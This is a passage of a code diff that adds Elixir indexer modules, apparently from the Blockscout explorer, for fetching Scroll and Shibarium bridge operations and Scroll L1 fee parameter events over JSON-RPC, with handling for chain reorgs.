this is not the first launch, the process will start + # from the block which was the last on the previous launch. + @impl GenServer + def handle_info(:init_with_delay, %{json_rpc_named_arguments: json_rpc_named_arguments} = state) do + env = Application.get_all_env(:indexer)[__MODULE__] + + with {:messenger_contract_address_is_valid, true} <- + {:messenger_contract_address_is_valid, Helper.address_correct?(env[:messenger_contract])}, + {last_l2_block_number, last_l2_transaction_hash} = Reader.last_l2_bridge_item(), + {:ok, block_check_interval, _} <- Helper.get_block_check_interval(json_rpc_named_arguments), + {:ok, latest_block} = Helper.get_block_number_by_tag("latest", json_rpc_named_arguments, 100_000_000), + {:ok, last_l2_transaction} <- + Helper.get_transaction_by_hash(last_l2_transaction_hash, json_rpc_named_arguments), + # here we check for the last known L2 transaction existence to make sure there wasn't reorg + # on L2 while the instance was down, and so we can use `last_l2_block_number` as the starting point + {:l2_transaction_not_found, false} <- + {:l2_transaction_not_found, !is_nil(last_l2_transaction_hash) && is_nil(last_l2_transaction)} do + Process.send(self(), :continue, []) + + {:noreply, + %{ + block_check_interval: block_check_interval, + messenger_contract: env[:messenger_contract], + json_rpc_named_arguments: json_rpc_named_arguments, + end_block: latest_block, + start_block: max(env[:start_block], last_l2_block_number) + }} + else + {:messenger_contract_address_is_valid, false} -> + Logger.error("L2ScrollMessenger contract address is invalid or not defined.") + {:stop, :normal, state} + + {:error, error_data} -> + Logger.error( + "Cannot get last L2 transaction from RPC by its hash, latest block, or block by number due to RPC error: #{inspect(error_data)}" + ) + + {:stop, :normal, state} + + {:l2_transaction_not_found, true} -> + Logger.error( + "Cannot find last L2 transaction from RPC by its hash. Probably, there was a reorg on L2 chain. Please, check scroll_bridge table." + ) + + {:stop, :normal, state} + end + end + + # See the description of the `loop` function. + @impl GenServer + def handle_info(:continue, state) do + BridgeFetcher.loop(__MODULE__, state) + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + @doc """ + Handles L2 block reorg: removes all Withdrawal rows from the `scroll_bridge` table + created beginning from the reorged block. + + We only store block number for the initiating transaction of the L1->L2 or L2->L1 message, + so the `block_number` column doesn't contain L2 block numbers for messages initiated on L1 layer (i.e. for Deposits), + and that doesn't contain L1 block numbers for messages initiated on L2 layer (i.e. for Withdrawals). + This is the reason why we can only remove rows for Withdrawal operations from the `scroll_bridge` table + when a reorg happens on L2 layer. + + Also, the reorg block number is put into the reorg monitor queue to let the main loop function + (see `Indexer.Fetcher.Scroll.Bridge` module) use that block number and behave accordingly. + + ## Parameters + - `reorg_block`: The block number where reorg has occurred. + + ## Returns + - nothing + """ + def reorg_handle(reorg_block) do + {deleted_count, _} = + Repo.delete_all(from(b in Bridge, where: b.type == :withdrawal and b.block_number >= ^reorg_block)) + + if deleted_count > 0 do + Logger.warning( + "As L2 reorg was detected, some withdrawals with block_number >= #{reorg_block} were removed from scroll_bridge table. Number of removed rows: #{deleted_count}." + ) + end + + RollupReorgMonitorQueue.reorg_block_push(reorg_block, __MODULE__) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/scroll/helper.ex b/apps/indexer/lib/indexer/fetcher/scroll/helper.ex new file mode 100644 index 000000000000..574ff1aa4634 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/scroll/helper.ex @@ -0,0 +1,14 @@ +defmodule Indexer.Fetcher.Scroll.Helper do + @moduledoc """ + A module to define common Scroll indexer functions. + """ + + @doc """ + Returns L1 RPC URL for Scroll modules. + Returns `nil` if not defined. + """ + @spec l1_rpc_url() :: binary() | nil + def l1_rpc_url do + Application.get_all_env(:indexer)[Indexer.Fetcher.Scroll][:rpc] + end +end diff --git a/apps/indexer/lib/indexer/fetcher/scroll/l1_fee_param.ex b/apps/indexer/lib/indexer/fetcher/scroll/l1_fee_param.ex new file mode 100644 index 000000000000..c0b8d0c23bb7 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/scroll/l1_fee_param.ex @@ -0,0 +1,355 @@ +defmodule Indexer.Fetcher.Scroll.L1FeeParam do + @moduledoc """ + Fills scroll_l1_fee_params DB table. + + The table stores points in the chain (block number and transaction index within it) + when L1 Gas Oracle contract parameters were changed (and the new values of the changed + parameters). These points and values are then used by API to correctly display L1 fee + parameters of L2 transaction (such as `overhead`, `scalar`, etc.) + + This fetcher handles the events that were not handled by the realtime block fetcher + (namely `Indexer.Transform.Scroll.L1FeeParams` module). There are three possible cases when it happens: + 1. A Blockscout instance is deployed for a chain that already has blocks. + 2. A Blockscout instance is upgraded, and the functionality to discover fee parameter changes only becomes available after the upgrade. + 3. The block fetcher process (or entire instance) was halted for some time. + + Example of the parameter value change: + + Let's assume that the `scalar` parameter is initially set to 100. An owner decided + to change it to 200. It initiates a transaction that is included into block number 800 + under index 3. All transactions starting from block number 800 and index 4 will have + the scalar equal to 200. All transactions before index 3 of the block 800 (and preceding + blocks) will have the scalar equal to 100. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query + + import EthereumJSONRPC, only: [quantity_to_integer: 1] + import Explorer.Helper, only: [decode_data: 2] + + alias Explorer.{Chain, Repo} + alias Explorer.Chain.Data + alias Explorer.Chain.Scroll.L1FeeParam, as: ScrollL1FeeParam + alias Indexer.Helper + + @fetcher_name :scroll_l1_fee_params + + # 32-byte signature of the event OverheadUpdated(uint256 overhead) + @overhead_updated_event "0x32740b35c0ea213650f60d44366b4fb211c9033b50714e4a1d34e65d5beb9bb4" + + # 32-byte signature of the event ScalarUpdated(uint256 scalar) + @scalar_updated_event "0x3336cd9708eaf2769a0f0dc0679f30e80f15dcd88d1921b5a16858e8b85c591a" + + # 32-byte signature of the event CommitScalarUpdated(uint256 scalar) + @commit_scalar_updated_event "0x2ab3f5a4ebbcbf3c24f62f5454f52f10e1a8c9dcc5acac8f19199ce881a6a108" + + # 32-byte signature of the event BlobScalarUpdated(uint256 scalar) + @blob_scalar_updated_event "0x6b332a036d8c3ead57dcb06c87243bd7a2aed015ddf2d0528c2501dae56331aa" + + # 32-byte signature of the event L1BaseFeeUpdated(uint256 l1BaseFee) + @l1_base_fee_updated_event "0x351fb23757bb5ea0546c85b7996ddd7155f96b939ebaa5ff7bc49c75f27f2c44" + + # 32-byte signature of the event L1BlobBaseFeeUpdated(uint256 l1BlobBaseFee) + @l1_blob_base_fee_updated_event "0x9a14bfb5d18c4c3cf14cae19c23d7cf1bcede357ea40ca1f75cd49542c71c214" + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(args) do + json_rpc_named_arguments = args[:json_rpc_named_arguments] + {:ok, %{}, {:continue, json_rpc_named_arguments}} + end + + # Validates L1 Gas Oracle contract address and initiates searching of gas oracle events. + # + # When first launch, the events searching will start from the first block of the chain + # and end on the `safe` block (or `latest` one if `safe` is not available). + # If this is not the first launch, the process will start from the block which was + # the last on the previous launch (plus one). The block from the previous launch + # is stored in the `last_fetched_counters` database table. + # + # ## Parameters + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection on L2. + # - `state`: The current state of the fetcher. + # + # ## Returns + # - `{:noreply, new_state}` where the searching parameters are defined. + # - `{:stop, :normal, state}` in case of invalid L1 Gas Oracle contract address. + @impl GenServer + def handle_continue(json_rpc_named_arguments, state) do + Logger.metadata(fetcher: @fetcher_name) + + env = Application.get_all_env(:indexer)[__MODULE__] + + if Helper.address_correct?(env[:gas_oracle]) do + last_l2_block_number = ScrollL1FeeParam.last_l2_block_number() + + {safe_block, safe_block_is_latest} = Helper.get_safe_block(json_rpc_named_arguments) + + Process.send(self(), :find_events, []) + + {:noreply, + %{ + start_block: min(last_l2_block_number + 1, safe_block), + safe_block: safe_block, + safe_block_is_latest: safe_block_is_latest, + gas_oracle: env[:gas_oracle], + eth_get_logs_range_size: + Application.get_all_env(:indexer)[Indexer.Fetcher.Scroll][:l2_eth_get_logs_range_size], + json_rpc_named_arguments: json_rpc_named_arguments + }} + else + Logger.error("L1 Gas Oracle contract address is invalid or not defined.") + {:stop, :normal, state} + end + end + + # Scans the L1 Gas Oracle contract for the events and saves the found parameter changes + # into `scroll_l1_fee_params` database table. + # + # The scanning process starts from the `start_block` defined by `handle_continue` function + # and ends with the latest one. The `safe_block` can be the latest block if the `safe` one + # is not available on the chain (in this case `safe_block_is_latest` is true). So the process + # works in the following block ranges: `start_block..safe_block` and `(safe_block + 1)..latest_block` + # or `start_block..latest`. + # + # ## Parameters + # - `:find_events`: The message that triggers the event scanning process. + # - `state`: The current state of the fetcher containing the searching parameters. + # + # ## Returns + # - `{:stop, :normal, state}` as a signal for the fetcher to stop working after all blocks are handled. + @impl GenServer + def handle_info( + :find_events, + %{ + start_block: start_block, + safe_block: safe_block, + safe_block_is_latest: safe_block_is_latest, + gas_oracle: gas_oracle, + eth_get_logs_range_size: eth_get_logs_range_size, + json_rpc_named_arguments: json_rpc_named_arguments + } = state + ) do + # find and fill all events between start_block and "safe" block + # the "safe" block can be "latest" (when safe_block_is_latest == true) + scan_block_range(start_block, safe_block, gas_oracle, eth_get_logs_range_size, json_rpc_named_arguments) + + if not safe_block_is_latest do + # find and fill all events between "safe" and "latest" block (excluding "safe") + {:ok, latest_block} = Helper.get_block_number_by_tag("latest", json_rpc_named_arguments) + scan_block_range(safe_block + 1, latest_block, gas_oracle, eth_get_logs_range_size, json_rpc_named_arguments) + end + + {:stop, :normal, state} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + @doc """ + Handles L2 block reorg: removes all rows from the `scroll_l1_fee_params` table + created beginning from the reorged block, and accordingly reduces the last + block number defined in the `last_fetched_counters` database table. + + ## Parameters + - `starting_block`: the block number where reorg has occurred. + + ## Returns + - nothing + """ + @spec handle_l2_reorg(non_neg_integer()) :: any() + def handle_l2_reorg(starting_block) do + Repo.delete_all(from(p in ScrollL1FeeParam, where: p.block_number >= ^starting_block)) + + if ScrollL1FeeParam.last_l2_block_number() >= starting_block do + ScrollL1FeeParam.set_last_l2_block_number(starting_block - 1) + end + end + + @doc """ + Converts event parameters and data into the map which can be + used to write a new row to the `scroll_l1_fee_params` table. + + ## Parameters + - `first_topic`: The 32-byte hash of an event signature (in the form of `0x` prefixed hex string). + - `data`: The event data containing a changed parameter. + - `block_number`: The number of the block when the event transaction appeared. + - `transaction_index`: The event transaction index withing the `block_number` block. + + ## Returns + - A map for one row for `Chain.import` function. + """ + @spec event_to_param(binary(), Data.t(), non_neg_integer(), non_neg_integer()) :: ScrollL1FeeParam.to_import() + def event_to_param(first_topic, data, block_number, transaction_index) + when first_topic in [ + @overhead_updated_event, + @scalar_updated_event, + @commit_scalar_updated_event, + @blob_scalar_updated_event, + @l1_base_fee_updated_event, + @l1_blob_base_fee_updated_event + ] do + name = + case first_topic do + @overhead_updated_event -> :overhead + @scalar_updated_event -> :scalar + @commit_scalar_updated_event -> :commit_scalar + @blob_scalar_updated_event -> :blob_scalar + @l1_base_fee_updated_event -> :l1_base_fee + @l1_blob_base_fee_updated_event -> :l1_blob_base_fee + end + + [value] = decode_data(data, [{:uint, 256}]) + + %{ + block_number: block_number, + transaction_index: transaction_index, + name: name, + value: value + } + end + + @doc """ + Returns a list of signatures of the events that can be emitted + by L1 Gas Oracle contract. + """ + @spec event_signatures() :: [binary()] + def event_signatures do + [ + @overhead_updated_event, + @scalar_updated_event, + @commit_scalar_updated_event, + @blob_scalar_updated_event, + @l1_base_fee_updated_event, + @l1_blob_base_fee_updated_event + ] + end + + # Scans the L1 Gas Oracle contract for the events and saves the found parameter changes + # into `scroll_l1_fee_params` database table for the given L2 block range. + # + # The scanning process starts from the `l2_block_start` and ends with the `l2_block_end`. + # The block range is divided by chunks to avoid RPC node overloading. + # + # ## Parameters + # - `l2_block_start`: The start L2 block of the range. + # - `l2_block_end`: The end L2 block of the range. + # - `gas_oracle`: The L1 Gas Oracle contract address. + # - `eth_get_logs_range_size`: Max size of the blocks chunk. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # + # ## Returns + # - Nothing is returned. + @spec scan_block_range( + non_neg_integer(), + non_neg_integer(), + binary(), + non_neg_integer(), + EthereumJSONRPC.json_rpc_named_arguments() + ) :: any() + defp scan_block_range(l2_block_start, l2_block_end, gas_oracle, eth_get_logs_range_size, json_rpc_named_arguments) do + chunks_number = ceil((l2_block_end - l2_block_start + 1) / eth_get_logs_range_size) + chunk_range = Range.new(0, max(chunks_number - 1, 0), 1) + + Enum.reduce(chunk_range, 0, fn current_chunk, count_acc -> + chunk_start = l2_block_start + eth_get_logs_range_size * current_chunk + chunk_end = min(chunk_start + eth_get_logs_range_size - 1, l2_block_end) + + Helper.log_blocks_chunk_handling(chunk_start, chunk_end, l2_block_start, l2_block_end, nil, :L2) + + count = + find_and_save_params( + gas_oracle, + chunk_start, + chunk_end, + json_rpc_named_arguments + ) + + Helper.log_blocks_chunk_handling( + chunk_start, + chunk_end, + l2_block_start, + l2_block_end, + "#{count} event(s) for parameters update", + :L2 + ) + + count_acc + count + end) + end + + # Scans the L1 Gas Oracle contract for the events and saves the found parameter changes + # into `scroll_l1_fee_params` database table for the given L2 block range. + # + # The scanning process starts from the `block_start` and ends with the `block_end`. + # The `block_end` block number is stored in the `last_fetched_counters` database table + # to be able to start from that point at the next launch of the fetcher. + # + # ## Parameters + # - `gas_oracle`: The L1 Gas Oracle contract address. + # - `block_start`: The start L2 block of the range. + # - `block_end`: The end L2 block of the range. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # + # ## Returns + # - The number of found and saved items. + @spec find_and_save_params(binary(), non_neg_integer(), non_neg_integer(), EthereumJSONRPC.json_rpc_named_arguments()) :: + non_neg_integer() + defp find_and_save_params( + gas_oracle, + block_start, + block_end, + json_rpc_named_arguments + ) do + {:ok, result} = + Helper.get_logs( + block_start, + block_end, + gas_oracle, + [event_signatures()], + json_rpc_named_arguments + ) + + l1_fee_params = + Enum.map(result, fn event -> + event_to_param( + Enum.at(event["topics"], 0), + event["data"], + quantity_to_integer(event["blockNumber"]), + quantity_to_integer(event["transactionIndex"]) + ) + end) + + {:ok, _} = + Chain.import(%{ + scroll_l1_fee_params: %{params: l1_fee_params}, + timeout: :infinity + }) + + ScrollL1FeeParam.set_last_l2_block_number(block_end) + + Enum.count(l1_fee_params) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/shibarium/helper.ex b/apps/indexer/lib/indexer/fetcher/shibarium/helper.ex new file mode 100644 index 000000000000..592880d957a1 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/shibarium/helper.ex @@ -0,0 +1,146 @@ +defmodule Indexer.Fetcher.Shibarium.Helper do + @moduledoc """ + Common functions for Indexer.Fetcher.Shibarium.* modules. + """ + + import Ecto.Query + import Explorer.Helper, only: [hash_to_binary: 1] + + alias Explorer.Chain.Cache.Counters.Shibarium.DepositsAndWithdrawalsCount + alias Explorer.Chain.Shibarium.{Bridge, Reader} + alias Explorer.Repo + + @empty_hash "0x0000000000000000000000000000000000000000000000000000000000000000" + + @doc """ + Calculates Shibarium Bridge operation hash as hash_256(user_address, amount_or_id, erc1155_ids, erc1155_amounts, operation_id). + """ + @spec calc_operation_hash(binary(), non_neg_integer() | nil, list(), list(), non_neg_integer()) :: binary() + def calc_operation_hash(user, amount_or_id, erc1155_ids, erc1155_amounts, operation_id) do + user_binary = hash_to_binary(user) + + amount_or_id = + if is_nil(amount_or_id) and not Enum.empty?(erc1155_ids) do + 0 + else + amount_or_id + end + + operation_encoded = + ABI.encode("(address,uint256,uint256[],uint256[],uint256)", [ + { + user_binary, + amount_or_id, + erc1155_ids, + erc1155_amounts, + operation_id + } + ]) + + "0x" <> + (operation_encoded + |> ExKeccak.hash_256() + |> Base.encode16(case: :lower)) + end + + @doc """ + Prepares a list of Shibarium Bridge operations to import them into database. + Tries to bind the given operations to the existing ones in DB first. + If they don't exist, prepares the insertion list and returns it. + """ + @spec prepare_insert_items(list(), module()) :: list() + def prepare_insert_items(operations, calling_module) do + operations + |> Enum.reduce([], fn op, acc -> + if bind_existing_operation_in_db(op, calling_module) == 0 do + [op | acc] + else + acc + end + end) + |> Enum.reverse() + |> Enum.reduce(%{}, fn item, acc -> + Map.put(acc, {item.operation_hash, item.l1_transaction_hash, item.l2_transaction_hash}, item) + end) + |> Map.values() + end + + @doc """ + Recalculate the cached count of complete rows for deposits and withdrawals. + """ + @spec recalculate_cached_count() :: no_return() + def recalculate_cached_count do + DepositsAndWithdrawalsCount.deposits_count_save(Reader.deposits_count()) + DepositsAndWithdrawalsCount.withdrawals_count_save(Reader.withdrawals_count()) + end + + # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity + defp bind_existing_operation_in_db(op, calling_module) do + {query, set} = make_query_for_bind(op, calling_module) + + updated_count = + try do + {updated_count, _} = + Repo.update_all( + from(b in Bridge, + join: s in subquery(query), + on: + b.operation_hash == s.operation_hash and b.l1_transaction_hash == s.l1_transaction_hash and + b.l2_transaction_hash == s.l2_transaction_hash + ), + set: set + ) + + updated_count + rescue + error in Postgrex.Error -> + # if this is unique violation, we just ignore such an operation as it was inserted before + if error.postgres.code != :unique_violation do + reraise error, __STACKTRACE__ + end + end + + # increment the cached count of complete rows + case !is_nil(updated_count) && updated_count > 0 && op.operation_type do + :deposit -> DepositsAndWithdrawalsCount.deposits_count_save(updated_count, true) + :withdrawal -> DepositsAndWithdrawalsCount.withdrawals_count_save(updated_count, true) + false -> nil + end + + updated_count + end + + defp make_query_for_bind(op, calling_module) when calling_module == Indexer.Fetcher.Shibarium.L1 do + query = + from(sb in Bridge, + where: + sb.operation_hash == ^op.operation_hash and sb.operation_type == ^op.operation_type and + sb.l2_transaction_hash != ^@empty_hash and sb.l1_transaction_hash == ^@empty_hash, + order_by: [asc: sb.l2_block_number], + limit: 1 + ) + + set = + [l1_transaction_hash: op.l1_transaction_hash, l1_block_number: op.l1_block_number] ++ + if(op.operation_type == :deposit, do: [timestamp: op.timestamp], else: []) + + {query, set} + end + + defp make_query_for_bind(op, calling_module) when calling_module == Indexer.Fetcher.Shibarium.L2 do + query = + from(sb in Bridge, + where: + sb.operation_hash == ^op.operation_hash and sb.operation_type == ^op.operation_type and + sb.l1_transaction_hash != ^@empty_hash and sb.l2_transaction_hash == ^@empty_hash, + order_by: [asc: sb.l1_block_number], + limit: 1 + ) + + set = + [l2_transaction_hash: op.l2_transaction_hash, l2_block_number: op.l2_block_number] ++ + if(op.operation_type == :withdrawal, do: [timestamp: op.timestamp], else: []) + + {query, set} + end +end diff --git a/apps/indexer/lib/indexer/fetcher/shibarium/l1.ex b/apps/indexer/lib/indexer/fetcher/shibarium/l1.ex new file mode 100644 index 000000000000..ff283612d6dc --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/shibarium/l1.ex @@ -0,0 +1,677 @@ +defmodule Indexer.Fetcher.Shibarium.L1 do + @moduledoc """ + Fills shibarium_bridge DB table. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query + + import EthereumJSONRPC, + only: [ + integer_to_quantity: 1, + json_rpc: 2, + quantity_to_integer: 1, + request: 1 + ] + + import Explorer.Helper, only: [parse_integer: 1, decode_data: 2] + + import Indexer.Fetcher.Shibarium.Helper, + only: [calc_operation_hash: 5, prepare_insert_items: 2, recalculate_cached_count: 0] + + alias Explorer.Chain.RollupReorgMonitorQueue + alias Explorer.Chain.Shibarium.Bridge + alias Explorer.{Chain, Repo} + alias Indexer.Fetcher.RollupL1ReorgMonitor + alias Indexer.Helper + alias Indexer.Transform.Addresses + + @block_check_interval_range_size 100 + @eth_get_logs_range_size 1000 + @fetcher_name :shibarium_bridge_l1 + @empty_hash "0x0000000000000000000000000000000000000000000000000000000000000000" + + # 32-byte signature of the event NewDepositBlock(address indexed owner, address indexed token, uint256 amountOrNFTId, uint256 depositBlockId) + @new_deposit_block_event "0x1dadc8d0683c6f9824e885935c1bec6f76816730dcec148dda8cf25a7b9f797b" + + # 32-byte signature of the event LockedEther(address indexed depositor, address indexed depositReceiver, uint256 amount) + @locked_ether_event "0x3e799b2d61372379e767ef8f04d65089179b7a6f63f9be3065806456c7309f1b" + + # 32-byte signature of the event LockedERC20(address indexed depositor, address indexed depositReceiver, address indexed rootToken, uint256 amount) + @locked_erc20_event "0x9b217a401a5ddf7c4d474074aff9958a18d48690d77cc2151c4706aa7348b401" + + # 32-byte signature of the event LockedERC721(address indexed depositor, address indexed depositReceiver, address indexed rootToken, uint256 tokenId) + @locked_erc721_event "0x8357472e13612a8c3d6f3e9d71fbba8a78ab77dbdcc7fcf3b7b645585f0bbbfc" + + # 32-byte signature of the event LockedERC721Batch(address indexed depositor, address indexed depositReceiver, address indexed rootToken, uint256[] tokenIds) + @locked_erc721_batch_event "0x5345c2beb0e49c805f42bb70c4ec5c3c3d9680ce45b8f4529c028d5f3e0f7a0d" + + # 32-byte signature of the event LockedBatchERC1155(address indexed depositor, address indexed depositReceiver, address indexed rootToken, uint256[] ids, uint256[] amounts) + @locked_batch_erc1155_event "0x5a921678b5779e4471b77219741a417a6ad6ec5d89fa5c8ce8cd7bd2d9f34186" + + # 32-byte signature of the event Withdraw(uint256 indexed exitId, address indexed user, address indexed token, uint256 amount) + @withdraw_event "0xfeb2000dca3e617cd6f3a8bbb63014bb54a124aac6ccbf73ee7229b4cd01f120" + + # 32-byte signature of the event ExitedEther(address indexed exitor, uint256 amount) + @exited_ether_event "0x0fc0eed41f72d3da77d0f53b9594fc7073acd15ee9d7c536819a70a67c57ef3c" + + # 32-byte signature of the event Transfer(address indexed from, address indexed to, uint256 value) + @transfer_event "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef" + + # 32-byte signature of the event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value) + @transfer_single_event "0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62" + + # 32-byte signature of the event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values) + @transfer_batch_event "0x4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb" + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(_args) do + {:ok, %{}, {:continue, :ok}} + end + + @impl GenServer + def handle_continue(_, state) do + Logger.metadata(fetcher: @fetcher_name) + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + Process.send_after(self(), :wait_for_l2, 2000) + {:noreply, state} + end + + @impl GenServer + def handle_info(:wait_for_l2, state) do + if is_nil(Process.whereis(Indexer.Fetcher.Shibarium.L2)) do + Process.send(self(), :init_with_delay, []) + else + Process.send_after(self(), :wait_for_l2, 2000) + end + + {:noreply, state} + end + + @impl GenServer + def handle_info(:init_with_delay, _state) do + env = Application.get_all_env(:indexer)[__MODULE__] + + with {:start_block_undefined, false} <- {:start_block_undefined, is_nil(env[:start_block])}, + _ <- RollupL1ReorgMonitor.wait_for_start(__MODULE__), + rpc = env[:rpc], + {:rpc_undefined, false} <- {:rpc_undefined, is_nil(rpc)}, + {:deposit_manager_address_is_valid, true} <- + {:deposit_manager_address_is_valid, Helper.address_correct?(env[:deposit_manager_proxy])}, + {:ether_predicate_address_is_valid, true} <- + {:ether_predicate_address_is_valid, Helper.address_correct?(env[:ether_predicate_proxy])}, + {:erc20_predicate_address_is_valid, true} <- + {:erc20_predicate_address_is_valid, Helper.address_correct?(env[:erc20_predicate_proxy])}, + {:erc721_predicate_address_is_valid, true} <- + {:erc721_predicate_address_is_valid, + is_nil(env[:erc721_predicate_proxy]) or Helper.address_correct?(env[:erc721_predicate_proxy])}, + {:erc1155_predicate_address_is_valid, true} <- + {:erc1155_predicate_address_is_valid, + is_nil(env[:erc1155_predicate_proxy]) or Helper.address_correct?(env[:erc1155_predicate_proxy])}, + {:withdraw_manager_address_is_valid, true} <- + {:withdraw_manager_address_is_valid, Helper.address_correct?(env[:withdraw_manager_proxy])}, + start_block = parse_integer(env[:start_block]), + false <- is_nil(start_block), + true <- start_block > 0, + {last_l1_block_number, last_l1_transaction_hash} <- get_last_l1_item(), + {:start_block_valid, true} <- + {:start_block_valid, start_block <= last_l1_block_number || last_l1_block_number == 0}, + json_rpc_named_arguments = json_rpc_named_arguments(rpc), + {:ok, last_l1_transaction} <- + Helper.get_transaction_by_hash(last_l1_transaction_hash, json_rpc_named_arguments), + {:l1_transaction_not_found, false} <- + {:l1_transaction_not_found, !is_nil(last_l1_transaction_hash) && is_nil(last_l1_transaction)}, + {:ok, block_check_interval, latest_block} <- get_block_check_interval(json_rpc_named_arguments), + {:start_block_valid, true} <- {:start_block_valid, start_block <= latest_block} do + recalculate_cached_count() + + Process.send(self(), :continue, []) + + {:noreply, + %{ + deposit_manager_proxy: env[:deposit_manager_proxy], + ether_predicate_proxy: env[:ether_predicate_proxy], + erc20_predicate_proxy: env[:erc20_predicate_proxy], + erc721_predicate_proxy: env[:erc721_predicate_proxy], + erc1155_predicate_proxy: env[:erc1155_predicate_proxy], + withdraw_manager_proxy: env[:withdraw_manager_proxy], + block_check_interval: block_check_interval, + start_block: max(start_block, last_l1_block_number), + end_block: latest_block, + json_rpc_named_arguments: json_rpc_named_arguments + }} + else + {:start_block_undefined, true} -> + # the process shouldn't start if the start block is not defined + {:stop, :normal, %{}} + + {:rpc_undefined, true} -> + Logger.error("L1 RPC URL is not defined.") + {:stop, :normal, %{}} + + {:deposit_manager_address_is_valid, false} -> + Logger.error("DepositManagerProxy contract address is invalid or not defined.") + {:stop, :normal, %{}} + + {:ether_predicate_address_is_valid, false} -> + Logger.error("EtherPredicateProxy contract address is invalid or not defined.") + {:stop, :normal, %{}} + + {:erc20_predicate_address_is_valid, false} -> + Logger.error("ERC20PredicateProxy contract address is invalid or not defined.") + {:stop, :normal, %{}} + + {:erc721_predicate_address_is_valid, false} -> + Logger.error("ERC721PredicateProxy contract address is invalid.") + {:stop, :normal, %{}} + + {:erc1155_predicate_address_is_valid, false} -> + Logger.error("ERC1155PredicateProxy contract address is invalid.") + {:stop, :normal, %{}} + + {:withdraw_manager_address_is_valid, false} -> + Logger.error("WithdrawManagerProxy contract address is invalid or not defined.") + {:stop, :normal, %{}} + + {:start_block_valid, false} -> + Logger.error("Invalid L1 Start Block value. Please, check the value and shibarium_bridge table.") + {:stop, :normal, %{}} + + {:error, error_data} -> + Logger.error( + "Cannot get last L1 transaction from RPC by its hash, latest block, or block timestamp by its number due to RPC error: #{inspect(error_data)}" + ) + + {:stop, :normal, %{}} + + {:l1_transaction_not_found, true} -> + Logger.error( + "Cannot find last L1 transaction from RPC by its hash. Probably, there was a reorg on L1 chain. Please, check shibarium_bridge table." + ) + + {:stop, :normal, %{}} + + _ -> + Logger.error("L1 Start Block is invalid or zero.") + {:stop, :normal, %{}} + end + end + + @impl GenServer + def handle_info( + :continue, + %{ + deposit_manager_proxy: deposit_manager_proxy, + ether_predicate_proxy: ether_predicate_proxy, + erc20_predicate_proxy: erc20_predicate_proxy, + erc721_predicate_proxy: erc721_predicate_proxy, + erc1155_predicate_proxy: erc1155_predicate_proxy, + withdraw_manager_proxy: withdraw_manager_proxy, + block_check_interval: block_check_interval, + start_block: start_block, + end_block: end_block, + json_rpc_named_arguments: json_rpc_named_arguments + } = state + ) do + time_before = Timex.now() + + last_written_block = + start_block..end_block + |> Enum.chunk_every(@eth_get_logs_range_size) + |> Enum.reduce_while(start_block - 1, fn current_chunk, _ -> + chunk_start = List.first(current_chunk) + chunk_end = List.last(current_chunk) + + if chunk_start <= chunk_end do + Helper.log_blocks_chunk_handling(chunk_start, chunk_end, start_block, end_block, nil, :L1) + + operations = + {chunk_start, chunk_end} + |> get_logs_all( + deposit_manager_proxy, + ether_predicate_proxy, + erc20_predicate_proxy, + erc721_predicate_proxy, + erc1155_predicate_proxy, + withdraw_manager_proxy, + json_rpc_named_arguments + ) + |> prepare_operations(json_rpc_named_arguments) + + insert_items = prepare_insert_items(operations, __MODULE__) + + addresses = + Addresses.extract_addresses(%{ + shibarium_bridge_operations: insert_items + }) + + {:ok, _} = + Chain.import(%{ + addresses: %{params: addresses, on_conflict: :nothing}, + shibarium_bridge_operations: %{params: insert_items}, + timeout: :infinity + }) + + Helper.log_blocks_chunk_handling( + chunk_start, + chunk_end, + start_block, + end_block, + "#{Enum.count(operations)} L1 operation(s)", + :L1 + ) + end + + reorg_block = RollupReorgMonitorQueue.reorg_block_pop(__MODULE__) + + if !is_nil(reorg_block) && reorg_block > 0 do + reorg_handle(reorg_block) + {:halt, if(reorg_block <= chunk_end, do: reorg_block - 1, else: chunk_end)} + else + {:cont, chunk_end} + end + end) + + new_start_block = last_written_block + 1 + + {:ok, new_end_block} = + Helper.get_block_number_by_tag("latest", json_rpc_named_arguments, Helper.infinite_retries_number()) + + delay = + if new_end_block == last_written_block do + # there is no new block, so wait for some time to let the chain issue the new block + max(block_check_interval - Timex.diff(Timex.now(), time_before, :milliseconds), 0) + else + 0 + end + + Process.send_after(self(), :continue, delay) + + {:noreply, %{state | start_block: new_start_block, end_block: new_end_block}} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + @doc """ + Returns L1 RPC URL for this module. + """ + @spec l1_rpc_url() :: 